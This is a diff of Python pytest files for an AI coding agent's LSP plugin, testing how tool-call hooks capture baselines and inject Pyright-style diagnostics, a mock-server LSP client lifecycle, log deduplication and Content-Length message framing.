"""pre_tool_call returns early when the path's parent dir doesn't exist (Docker/SSH heuristic)."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
# Simulate a path that doesn't exist on host (e.g., inside Docker)
|
||||
fake_path = "/nonexistent-docker-container-fs/app/main.py"
|
||||
|
||||
# Mock _ensure_service to return a mock service
|
||||
mock_service = type("MockService", (), {
|
||||
"is_active": lambda self: True,
|
||||
"enabled_for": lambda self, p: True,
|
||||
"snapshot_baseline": lambda self, p: None,
|
||||
})()
|
||||
|
||||
with patch.object(lsp_plugin, "_service", mock_service):
|
||||
lsp_plugin._pre_tool_call(
|
||||
tool_name="write_file",
|
||||
args={"path": fake_path},
|
||||
session_id="test-session",
|
||||
tool_call_id="call-1",
|
||||
)
|
||||
|
||||
# Baseline should NOT be captured because parent dir doesn't exist
|
||||
assert ("test-session", os.path.normpath(fake_path)) not in lsp_plugin._baselines
|
||||
|
||||
|
||||
def test_pre_tool_call_proceeds_for_local_path(tmp_path):
|
||||
"""pre_tool_call captures baseline when path exists locally."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
# Create a real file so the parent-dir check passes
|
||||
test_file = tmp_path / "test.py"
|
||||
test_file.write_text("x = 1\n")
|
||||
|
||||
mock_service = type("MockService", (), {
|
||||
"is_active": lambda self: True,
|
||||
"enabled_for": lambda self, p: True,
|
||||
"snapshot_baseline": lambda self, p: None,
|
||||
})()
|
||||
|
||||
with patch.object(lsp_plugin, "_service", mock_service):
|
||||
lsp_plugin._pre_tool_call(
|
||||
tool_name="write_file",
|
||||
args={"path": str(test_file)},
|
||||
session_id="test-session",
|
||||
tool_call_id="call-2",
|
||||
)
|
||||
|
||||
# Baseline SHOULD be captured because the local path exists
|
||||
assert ("test-session", str(test_file)) in lsp_plugin._baselines
|
||||
|
||||
|
||||
def test_pre_tool_call_skips_non_write_tools():
|
||||
"""pre_tool_call is a no-op for tools other than write_file/patch."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
lsp_plugin._pre_tool_call(
|
||||
tool_name="terminal",
|
||||
args={"command": "ls"},
|
||||
session_id="test-session",
|
||||
tool_call_id="call-3",
|
||||
)
|
||||
|
||||
assert len(lsp_plugin._baselines) == 0
|
||||
|
||||
|
||||
def test_pre_tool_call_skips_v4a_patch():
|
||||
"""pre_tool_call skips V4A multi-file patches (has 'patch' key, no 'path' key)."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
mock_service = type("MockService", (), {
|
||||
"is_active": lambda self: True,
|
||||
"enabled_for": lambda self, p: True,
|
||||
"snapshot_baseline": lambda self, p: None,
|
||||
})()
|
||||
|
||||
with patch.object(lsp_plugin, "_service", mock_service):
|
||||
lsp_plugin._pre_tool_call(
|
||||
tool_name="patch",
|
||||
args={"patch": "*** Begin Patch\n*** Update File: foo.py\n..."},
|
||||
session_id="test-session",
|
||||
tool_call_id="call-4",
|
||||
)
|
||||
|
||||
assert len(lsp_plugin._baselines) == 0
|
||||
|
||||
|
||||
def test_transform_tool_result_injects_diagnostics(tmp_path):
|
||||
"""transform_tool_result appends lsp_diagnostics field to JSON result."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
test_file = tmp_path / "test.py"
|
||||
abs_path = str(test_file)
|
||||
|
||||
# Pre-populate a baseline entry (simulating pre_tool_call ran)
|
||||
lsp_plugin._baselines.add(("test-session", abs_path))
|
||||
|
||||
# Mock service that returns a diagnostic
|
||||
mock_service = type("MockService", (), {
|
||||
"is_active": lambda self: True,
|
||||
"enabled_for": lambda self, p: True,
|
||||
"get_diagnostics_sync": lambda self, p, delta=True, timeout=3.0: [
|
||||
{
|
||||
"severity": 1,
|
||||
"range": {"start": {"line": 1, "character": 4}},
|
||||
"message": "Type error: str is not int",
|
||||
"code": "reportReturnType",
|
||||
"source": "Pyright",
|
||||
}
|
||||
],
|
||||
})()
|
||||
|
||||
with patch.object(lsp_plugin, "_service", mock_service):
|
||||
result = lsp_plugin._transform_tool_result(
|
||||
tool_name="write_file",
|
||||
args={"path": abs_path},
|
||||
result='{"bytes_written": 42, "dirs_created": false}',
|
||||
session_id="test-session",
|
||||
tool_call_id="call-5",
|
||||
)
|
||||
|
||||
assert result is not None
|
||||
import json
|
||||
data = json.loads(result)
|
||||
assert "lsp_diagnostics" in data
|
||||
assert "reportReturnType" in data["lsp_diagnostics"]
|
||||
assert "bytes_written" in data # Original fields preserved
|
||||
@@ -0,0 +1,149 @@
|
||||
"""End-to-end client tests against the in-process mock LSP server.
|
||||
|
||||
Spins up :file:`_mock_lsp_server.py` as an actual subprocess, drives
|
||||
it through real LSP traffic, and asserts diagnostic flow. This is
|
||||
the closest thing we have to integration coverage without requiring
|
||||
pyright/gopls/etc. to be installed in CI.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from plugins.lsp.client import LSPClient
|
||||
|
||||
# These tests spawn a real subprocess (mock LSP server) and terminate it
|
||||
# via SIGTERM on shutdown. The conftest live-system guard blocks os.kill
|
||||
# for PIDs outside the test process subtree; bypass it here because this
|
||||
# is intentional subprocess lifecycle management.
|
||||
pytestmark = pytest.mark.live_system_guard_bypass
|
||||
|
||||
|
||||
MOCK_SERVER = str(Path(__file__).parent / "_mock_lsp_server.py")
|
||||
|
||||
|
||||
def _client(workspace: Path, script: str = "clean") -> LSPClient:
|
||||
env = {"MOCK_LSP_SCRIPT": script, "PYTHONPATH": os.environ.get("PYTHONPATH", "")}
|
||||
return LSPClient(
|
||||
server_id=f"mock-{script}",
|
||||
workspace_root=str(workspace),
|
||||
command=[sys.executable, MOCK_SERVER],
|
||||
env=env,
|
||||
cwd=str(workspace),
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_client_lifecycle_clean(tmp_path: Path):
|
||||
"""Full lifecycle: spawn, initialize, open, get clean diagnostics, shutdown."""
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("print('hi')\n")
|
||||
|
||||
client = _client(tmp_path, "clean")
|
||||
await client.start()
|
||||
try:
|
||||
assert client.is_running
|
||||
version = await client.open_file(str(f), language_id="python")
|
||||
assert version == 0
|
||||
await client.wait_for_diagnostics(str(f), version, mode="document")
|
||||
diags = client.diagnostics_for(str(f))
|
||||
assert diags == []
|
||||
finally:
|
||||
await client.shutdown()
|
||||
assert not client.is_running
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_client_receives_published_errors(tmp_path: Path):
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("print('hi')\n")
|
||||
|
||||
client = _client(tmp_path, "errors")
|
||||
await client.start()
|
||||
try:
|
||||
version = await client.open_file(str(f), language_id="python")
|
||||
await client.wait_for_diagnostics(str(f), version, mode="document")
|
||||
diags = client.diagnostics_for(str(f))
|
||||
assert len(diags) == 1
|
||||
d = diags[0]
|
||||
assert d["severity"] == 1
|
||||
assert d["code"] == "MOCK001"
|
||||
assert d["source"] == "mock-lsp"
|
||||
assert "synthetic error" in d["message"]
|
||||
finally:
|
||||
await client.shutdown()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_client_didchange_bumps_version(tmp_path: Path):
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("print('hi')\n")
|
||||
|
||||
client = _client(tmp_path, "errors")
|
||||
await client.start()
|
||||
try:
|
||||
v0 = await client.open_file(str(f), language_id="python")
|
||||
f.write_text("print('hi 2')\n")
|
||||
v1 = await client.open_file(str(f), language_id="python") # re-open path = didChange
|
||||
assert v1 == v0 + 1
|
||||
await client.wait_for_diagnostics(str(f), v1, mode="document")
|
||||
# Mock pushed a diagnostic for both events; merged view has one
|
||||
# entry (push store keyed by file path).
|
||||
diags = client.diagnostics_for(str(f))
|
||||
assert len(diags) == 1
|
||||
finally:
|
||||
await client.shutdown()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_client_handles_crashing_server(tmp_path: Path):
|
||||
"""When the server exits right after initialize, subsequent requests
|
||||
fail gracefully (not hang)."""
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("")
|
||||
|
||||
client = _client(tmp_path, "crash")
|
||||
await client.start() # should succeed (mock answers initialize before crashing)
|
||||
# Give the OS a moment to deliver the EOF.
|
||||
await asyncio.sleep(0.2)
|
||||
# The reader loop should detect EOF and mark pending requests as failed.
|
||||
try:
|
||||
await asyncio.wait_for(
|
||||
client.open_file(str(f), language_id="python"), timeout=2.0
|
||||
)
|
||||
except Exception:
|
||||
pass # any exception is acceptable; the contract is "doesn't hang"
|
||||
await client.shutdown()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_client_shutdown_idempotent(tmp_path: Path):
|
||||
"""Calling shutdown twice must be safe."""
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("")
|
||||
client = _client(tmp_path, "clean")
|
||||
await client.start()
|
||||
await client.shutdown()
|
||||
await client.shutdown() # must not raise
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_client_diagnostics_are_deduped(tmp_path: Path):
|
||||
"""Repeated identical pushes must not produce duplicate diagnostics."""
|
||||
f = tmp_path / "x.py"
|
||||
f.write_text("")
|
||||
client = _client(tmp_path, "errors")
|
||||
await client.start()
|
||||
try:
|
||||
for _ in range(3):
|
||||
v = await client.open_file(str(f), language_id="python")
|
||||
await client.wait_for_diagnostics(str(f), v, mode="document")
|
||||
diags = client.diagnostics_for(str(f))
|
||||
# Push store overwrites on every notification — should have 1.
|
||||
assert len(diags) == 1
|
||||
finally:
|
||||
await client.shutdown()
|
||||
@@ -0,0 +1,199 @@
|
||||
"""Tests for the structured logging dedup model.
|
||||
|
||||
The contract: a 1000-write session in one project should emit exactly
|
||||
ONE INFO line ("active for <root>") at the default INFO threshold.
|
||||
Steady-state events stay at DEBUG; first-time-seen events surface
|
||||
once at INFO/WARNING.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
import pytest
|
||||
|
||||
from plugins.lsp import eventlog
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset():
|
||||
eventlog.reset_announce_caches()
|
||||
yield
|
||||
eventlog.reset_announce_caches()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def caplog_lsp(caplog):
|
||||
caplog.set_level(logging.DEBUG, logger="hermes.lint.lsp")
|
||||
return caplog
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Steady-state silence (DEBUG)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_clean_emits_at_debug(caplog_lsp):
|
||||
for _ in range(10):
|
||||
eventlog.log_clean("pyright", "/proj/x.py")
|
||||
info_records = [r for r in caplog_lsp.records if r.levelno >= logging.INFO]
|
||||
debug_records = [r for r in caplog_lsp.records if r.levelno == logging.DEBUG]
|
||||
assert info_records == []
|
||||
assert len(debug_records) == 10
|
||||
|
||||
|
||||
def test_disabled_emits_at_debug(caplog_lsp):
|
||||
eventlog.log_disabled("pyright", "/x.py", "feature off")
|
||||
eventlog.log_disabled("pyright", "/x.py", "ext not mapped")
|
||||
assert all(r.levelno == logging.DEBUG for r in caplog_lsp.records)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# State transitions: INFO once, DEBUG thereafter
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_active_for_fires_once_per_root(caplog_lsp):
|
||||
for _ in range(50):
|
||||
eventlog.log_active("pyright", "/proj")
|
||||
info_records = [
|
||||
r for r in caplog_lsp.records
|
||||
if r.levelno == logging.INFO and "active for" in r.getMessage()
|
||||
]
|
||||
assert len(info_records) == 1
|
||||
|
||||
|
||||
def test_active_for_fires_per_distinct_root(caplog_lsp):
|
||||
eventlog.log_active("pyright", "/proj-a")
|
||||
eventlog.log_active("pyright", "/proj-b")
|
||||
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
|
||||
assert len(info) == 2
|
||||
|
||||
|
||||
def test_active_for_separate_per_server(caplog_lsp):
|
||||
eventlog.log_active("pyright", "/proj")
|
||||
eventlog.log_active("typescript", "/proj")
|
||||
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
|
||||
assert len(info) == 2
|
||||
|
||||
|
||||
def test_no_project_root_fires_once_per_path(caplog_lsp):
|
||||
for _ in range(5):
|
||||
eventlog.log_no_project_root("pyright", "/orphan.py")
|
||||
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
|
||||
assert len(info) == 1
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Diagnostics events fire INFO every time
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_diagnostics_always_info(caplog_lsp):
|
||||
for i in range(5):
|
||||
eventlog.log_diagnostics("pyright", f"/x{i}.py", 1)
|
||||
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
|
||||
assert len(info) == 5
|
||||
assert all("diags" in r.getMessage() for r in info)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Action-required: WARNING once, DEBUG thereafter (or per call for novel events)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_server_unavailable_warns_once_per_binary(caplog_lsp):
|
||||
for _ in range(20):
|
||||
eventlog.log_server_unavailable("pyright", "pyright-langserver")
|
||||
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
|
||||
assert len(warns) == 1
|
||||
assert "pyright-langserver" in warns[0].getMessage()
|
||||
|
||||
|
||||
def test_server_unavailable_separate_per_binary(caplog_lsp):
|
||||
eventlog.log_server_unavailable("pyright", "pyright-langserver")
|
||||
eventlog.log_server_unavailable("typescript", "typescript-language-server")
|
||||
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
|
||||
assert len(warns) == 2
|
||||
|
||||
|
||||
def test_no_server_configured_warns_once(caplog_lsp):
|
||||
for _ in range(10):
|
||||
eventlog.log_no_server_configured("pyright")
|
||||
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
|
||||
assert len(warns) == 1
|
||||
|
||||
|
||||
def test_timeout_warns_every_call(caplog_lsp):
|
||||
for _ in range(3):
|
||||
eventlog.log_timeout("pyright", "/x.py")
|
||||
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
|
||||
assert len(warns) == 3
|
||||
|
||||
|
||||
def test_server_error_warns_every_call(caplog_lsp):
|
||||
for _ in range(3):
|
||||
eventlog.log_server_error("pyright", "/x.py", RuntimeError("boom"))
|
||||
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
|
||||
assert len(warns) == 3
|
||||
|
||||
|
||||
def test_spawn_failed_warns(caplog_lsp):
|
||||
eventlog.log_spawn_failed("pyright", "/proj", FileNotFoundError("nope"))
|
||||
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
|
||||
assert len(warns) == 1
|
||||
assert "spawn/initialize failed" in warns[0].getMessage()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Format: log lines all carry the lsp[<server_id>] prefix for grep
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_log_lines_use_lsp_prefix(caplog_lsp):
|
||||
eventlog.log_clean("pyright", "/x.py")
|
||||
eventlog.log_active("pyright", "/proj")
|
||||
eventlog.log_diagnostics("typescript", "/y.ts", 2)
|
||||
for r in caplog_lsp.records:
|
||||
assert r.getMessage().startswith("lsp[")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Steady-state contract: 1000 clean writes → 1 INFO at most
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_thousand_clean_writes_emit_one_info(caplog_lsp):
|
||||
"""A long session writes lots of files cleanly; agent.log should
|
||||
show ONE 'active for' INFO and zero other INFO lines."""
|
||||
eventlog.log_active("pyright", "/proj")
|
||||
for _ in range(1000):
|
||||
eventlog.log_clean("pyright", "/proj/x.py")
|
||||
info_records = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
|
||||
assert len(info_records) == 1
|
||||
assert "active for" in info_records[0].getMessage()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Path shortening
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_short_path_uses_relative_when_inside_cwd(tmp_path, monkeypatch):
|
||||
monkeypatch.chdir(tmp_path)
|
||||
sub = tmp_path / "x.py"
|
||||
sub.write_text("")
|
||||
out = eventlog._short_path(str(sub))
|
||||
assert out == "x.py"
|
||||
|
||||
|
||||
def test_short_path_keeps_absolute_when_outside(tmp_path, monkeypatch):
|
||||
monkeypatch.chdir(tmp_path / "a") if (tmp_path / "a").exists() else None
|
||||
monkeypatch.chdir(tmp_path)
|
||||
other = "/var/log/foo.txt"
|
||||
out = eventlog._short_path(other)
|
||||
# Outside cwd: keeps absolute (no leading "../")
|
||||
assert out == "/var/log/foo.txt" or not out.startswith("..")
|
||||
|
||||
|
||||
def test_short_path_handles_empty_string():
|
||||
assert eventlog._short_path("") == ""
|
||||
@@ -0,0 +1,203 @@
|
||||
"""Integration test: full hook flow pre_tool_call → write → transform_tool_result.
|
||||
|
||||
Verifies that the plugin hook wiring correctly:
|
||||
1. Captures a baseline in pre_tool_call
|
||||
2. Passes through a write (no interference)
|
||||
3. Injects diagnostics in transform_tool_result
|
||||
|
||||
Uses a mocked LSP service to avoid requiring pyright/gopls in CI.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _isolate():
|
||||
"""Clear plugin state between tests."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
lsp_plugin._baselines.clear()
|
||||
old_service = lsp_plugin._service
|
||||
yield
|
||||
lsp_plugin._baselines.clear()
|
||||
lsp_plugin._service = old_service
|
||||
|
||||
|
||||
class FakeLSPService:
|
||||
"""Minimal LSP service mock that returns canned diagnostics."""
|
||||
|
||||
def __init__(self, diagnostics=None):
|
||||
self._diagnostics = diagnostics or []
|
||||
|
||||
def is_active(self):
|
||||
return True
|
||||
|
||||
def enabled_for(self, path):
|
||||
return path.endswith(".py") or path.endswith(".ts")
|
||||
|
||||
def snapshot_baseline(self, path):
|
||||
pass # no-op, just marks that we visited
|
||||
|
||||
def get_diagnostics_sync(self, path, delta=True, timeout=3.0):
|
||||
return self._diagnostics
|
||||
|
||||
def shutdown(self):
|
||||
pass
|
||||
|
||||
|
||||
def test_full_hook_flow_produces_diagnostics(tmp_path):
|
||||
"""Exercise pre_tool_call → (write) → transform_tool_result end-to-end."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
test_file = tmp_path / "broken.py"
|
||||
test_file.write_text("x: int = 'oops'\n")
|
||||
abs_path = str(test_file)
|
||||
|
||||
fake_service = FakeLSPService(diagnostics=[
|
||||
{
|
||||
"severity": 1,
|
||||
"range": {"start": {"line": 0, "character": 9}},
|
||||
"message": 'Expression of type "str" is incompatible with declared type "int"',
|
||||
"code": "reportAssignmentType",
|
||||
"source": "Pyright",
|
||||
}
|
||||
])
|
||||
|
||||
with patch.object(lsp_plugin, "_service", fake_service):
|
||||
# Step 1: pre_tool_call captures baseline
|
||||
lsp_plugin._pre_tool_call(
|
||||
tool_name="write_file",
|
||||
args={"path": abs_path, "content": "x: int = 'oops'\n"},
|
||||
session_id="test-session",
|
||||
tool_call_id="call-001",
|
||||
)
|
||||
assert ("test-session", abs_path) in lsp_plugin._baselines
|
||||
|
||||
# Step 2: simulate the write completing (tool output)
|
||||
tool_result = json.dumps({
|
||||
"bytes_written": 16,
|
||||
"dirs_created": False,
|
||||
"lint": None,
|
||||
})
|
||||
|
||||
# Step 3: transform_tool_result injects diagnostics
|
||||
transformed = lsp_plugin._transform_tool_result(
|
||||
tool_name="write_file",
|
||||
args={"path": abs_path, "content": "x: int = 'oops'\n"},
|
||||
result=tool_result,
|
||||
session_id="test-session",
|
||||
tool_call_id="call-001",
|
||||
)
|
||||
|
||||
# Verify: result is valid JSON with lsp_diagnostics field
|
||||
assert transformed is not None
|
||||
data = json.loads(transformed)
|
||||
assert "lsp_diagnostics" in data
|
||||
assert "reportAssignmentType" in data["lsp_diagnostics"]
|
||||
assert "Pyright" in data["lsp_diagnostics"]
|
||||
# Original fields preserved
|
||||
assert data["bytes_written"] == 16
|
||||
assert data["dirs_created"] is False
|
||||
|
||||
# Baseline consumed (removed after use)
|
||||
assert ("test-session", abs_path) not in lsp_plugin._baselines
|
||||
|
||||
|
||||
def test_hook_flow_returns_none_when_no_diagnostics(tmp_path):
|
||||
"""transform_tool_result returns None (no modification) when LSP is clean."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
test_file = tmp_path / "clean.py"
|
||||
test_file.write_text("x: int = 42\n")
|
||||
abs_path = str(test_file)
|
||||
|
||||
fake_service = FakeLSPService(diagnostics=[]) # Clean — no errors
|
||||
|
||||
with patch.object(lsp_plugin, "_service", fake_service):
|
||||
lsp_plugin._pre_tool_call(
|
||||
tool_name="write_file",
|
||||
args={"path": abs_path, "content": "x: int = 42\n"},
|
||||
session_id="test-session",
|
||||
tool_call_id="call-002",
|
||||
)
|
||||
|
||||
transformed = lsp_plugin._transform_tool_result(
|
||||
tool_name="write_file",
|
||||
args={"path": abs_path, "content": "x: int = 42\n"},
|
||||
result='{"bytes_written": 12}',
|
||||
session_id="test-session",
|
||||
tool_call_id="call-002",
|
||||
)
|
||||
|
||||
# No diagnostics → return None → result unchanged
|
||||
assert transformed is None
|
||||
|
||||
|
||||
def test_hook_flow_no_baseline_means_no_injection(tmp_path):
|
||||
"""transform_tool_result does nothing if pre_tool_call didn't fire."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
test_file = tmp_path / "no_baseline.py"
|
||||
abs_path = str(test_file)
|
||||
|
||||
fake_service = FakeLSPService(diagnostics=[
|
||||
{"severity": 1, "range": {"start": {"line": 0, "character": 0}},
|
||||
"message": "error", "code": "E1", "source": "test"}
|
||||
])
|
||||
|
||||
with patch.object(lsp_plugin, "_service", fake_service):
|
||||
# Skip pre_tool_call — simulate a case where it didn't fire
|
||||
transformed = lsp_plugin._transform_tool_result(
|
||||
tool_name="write_file",
|
||||
args={"path": abs_path},
|
||||
result='{"bytes_written": 5}',
|
||||
session_id="test-session",
|
||||
tool_call_id="call-003",
|
||||
)
|
||||
|
||||
# No baseline was captured, so no injection
|
||||
assert transformed is None
|
||||
|
||||
|
||||
def test_hook_flow_patch_tool(tmp_path):
|
||||
"""Hook flow works for patch tool (single-path mode)."""
|
||||
from plugins import lsp as lsp_plugin
|
||||
|
||||
test_file = tmp_path / "patched.py"
|
||||
test_file.write_text("def f() -> int:\n return 'wrong'\n")
|
||||
abs_path = str(test_file)
|
||||
|
||||
fake_service = FakeLSPService(diagnostics=[
|
||||
{
|
||||
"severity": 1,
|
||||
"range": {"start": {"line": 1, "character": 11}},
|
||||
"message": 'Cannot return "str" from function with return type "int"',
|
||||
"code": "reportReturnType",
|
||||
"source": "Pyright",
|
||||
}
|
||||
])
|
||||
|
||||
with patch.object(lsp_plugin, "_service", fake_service):
|
||||
lsp_plugin._pre_tool_call(
|
||||
tool_name="patch",
|
||||
args={"path": abs_path, "old_string": "return 42", "new_string": "return 'wrong'"},
|
||||
session_id="test-session",
|
||||
tool_call_id="call-004",
|
||||
)
|
||||
|
||||
transformed = lsp_plugin._transform_tool_result(
|
||||
tool_name="patch",
|
||||
args={"path": abs_path, "old_string": "return 42", "new_string": "return 'wrong'"},
|
||||
result='{"success": true, "diff": "..."}',
|
||||
session_id="test-session",
|
||||
tool_call_id="call-004",
|
||||
)
|
||||
|
||||
assert transformed is not None
|
||||
data = json.loads(transformed)
|
||||
assert "lsp_diagnostics" in data
|
||||
assert "reportReturnType" in data["lsp_diagnostics"]
|
||||
@@ -0,0 +1,197 @@
|
||||
"""Tests for the LSP protocol framing layer.
|
||||
|
||||
The framer is small but load-bearing — Content-Length parsing is the
|
||||
single most common reason for hand-rolled LSP clients to silently
|
||||
deadlock. These tests exercise:
|
||||
|
||||
- exact wire format of outgoing messages (encode_message)
|
||||
- partial-read tolerance + EOF handling (read_message)
|
||||
- envelope helpers (request, response, notification, error)
|
||||
- message classification
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import pytest
|
||||
|
||||
from plugins.lsp.protocol import (
|
||||
ERROR_CONTENT_MODIFIED,
|
||||
ERROR_METHOD_NOT_FOUND,
|
||||
LSPProtocolError,
|
||||
LSPRequestError,
|
||||
classify_message,
|
||||
encode_message,
|
||||
make_error_response,
|
||||
make_notification,
|
||||
make_request,
|
||||
make_response,
|
||||
read_message,
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# encode_message
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_encode_message_uses_compact_separators_and_utf8():
|
||||
msg = {"jsonrpc": "2.0", "id": 1, "method": "x", "params": {"k": "ä"}}
|
||||
out = encode_message(msg)
|
||||
# Header is plain ASCII Content-Length CRLF CRLF
|
||||
header_end = out.index(b"\r\n\r\n") + 4
|
||||
header = out[:header_end].decode("ascii")
|
||||
body = out[header_end:]
|
||||
assert "Content-Length:" in header
|
||||
declared = int(header.split("Content-Length:")[1].split("\r\n")[0].strip())
|
||||
# Declared length must equal actual body bytes.
|
||||
assert declared == len(body)
|
||||
# Body parses as JSON and round-trips.
|
||||
parsed = json.loads(body.decode("utf-8"))
|
||||
assert parsed == msg
|
||||
# Body uses compact separators (no spaces between kv).
|
||||
assert b'"id":1' in body
|
||||
|
||||
|
||||
def test_encode_message_handles_unicode_in_strings():
|
||||
msg = {"jsonrpc": "2.0", "method": "log", "params": {"text": "🚀 ünıcödé"}}
|
||||
out = encode_message(msg)
|
||||
header_end = out.index(b"\r\n\r\n") + 4
|
||||
declared = int(out[: out.index(b"\r\n")].split(b": ")[1])
|
||||
assert declared == len(out[header_end:])
|
||||
assert json.loads(out[header_end:].decode("utf-8")) == msg
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# read_message
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
async def _stream_from_bytes(data: bytes) -> asyncio.StreamReader:
|
||||
"""Build an asyncio.StreamReader pre-populated with ``data``."""
|
||||
reader = asyncio.StreamReader()
|
||||
reader.feed_data(data)
|
||||
reader.feed_eof()
|
||||
return reader
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_read_message_round_trip():
|
||||
msg = {"jsonrpc": "2.0", "method": "ping"}
|
||||
reader = await _stream_from_bytes(encode_message(msg))
|
||||
parsed = await read_message(reader)
|
||||
assert parsed == msg
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_read_message_clean_eof_returns_none():
|
||||
reader = await _stream_from_bytes(b"")
|
||||
assert await read_message(reader) is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_read_message_truncated_body_raises():
|
||||
msg = encode_message({"jsonrpc": "2.0", "method": "x"})
|
||||
truncated = msg[: -3] # cut the body
|
||||
reader = await _stream_from_bytes(truncated)
|
||||
with pytest.raises(LSPProtocolError):
|
||||
await read_message(reader)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_read_message_missing_content_length_raises():
|
||||
bad = b"X-Other: 5\r\n\r\n12345"
|
||||
reader = await _stream_from_bytes(bad)
|
||||
with pytest.raises(LSPProtocolError):
|
||||
await read_message(reader)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_read_message_two_messages_back_to_back():
|
||||
a = encode_message({"jsonrpc": "2.0", "method": "a"})
|
||||
b = encode_message({"jsonrpc": "2.0", "method": "b"})
|
||||
reader = await _stream_from_bytes(a + b)
|
||||
assert (await read_message(reader))["method"] == "a"
|
||||
assert (await read_message(reader))["method"] == "b"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_read_message_rejects_runaway_header():
|
||||
"""A pathological server that streams headers without ever emitting
|
||||
the CRLF-CRLF terminator must not loop forever — the 8 KiB cap kicks
|
||||
in and surfaces a protocol error."""
|
||||
flood = (b"X-Junk: " + b"A" * 200 + b"\r\n") * 60 # ~12 KiB worth
|
||||
reader = await _stream_from_bytes(flood)
|
||||
with pytest.raises(LSPProtocolError) as exc:
|
||||
await read_message(reader)
|
||||
assert "8 KiB" in str(exc.value)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# envelope helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_make_request_includes_id_and_method():
|
||||
msg = make_request(7, "ping", {"v": 1})
|
||||
assert msg == {"jsonrpc": "2.0", "id": 7, "method": "ping", "params": {"v": 1}}
|
||||
|
||||
|
||||
def test_make_request_omits_params_when_none():
|
||||
msg = make_request(7, "ping", None)
|
||||
assert "params" not in msg
|
||||
|
||||
|
||||
def test_make_notification_omits_id():
|
||||
msg = make_notification("log", {"line": "hi"})
|
||||
assert "id" not in msg
|
||||
assert msg["method"] == "log"
|
||||
|
||||
|
||||
def test_make_response_carries_result():
|
||||
msg = make_response(7, {"ok": True})
|
||||
assert msg["id"] == 7 and msg["result"] == {"ok": True}
|
||||
|
||||
|
||||
def test_make_error_response_shape():
|
||||
msg = make_error_response(7, ERROR_CONTENT_MODIFIED, "stale", {"hint": "retry"})
|
||||
assert msg["error"]["code"] == ERROR_CONTENT_MODIFIED
|
||||
assert msg["error"]["message"] == "stale"
|
||||
